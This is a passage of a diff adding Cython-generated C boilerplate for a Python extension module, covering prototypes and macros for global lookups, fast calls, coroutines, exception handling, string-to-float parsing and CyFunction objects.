__Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pynumber_float.proto */ +static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj); +#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : __Pyx__PyNumber_Float(x)) + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static 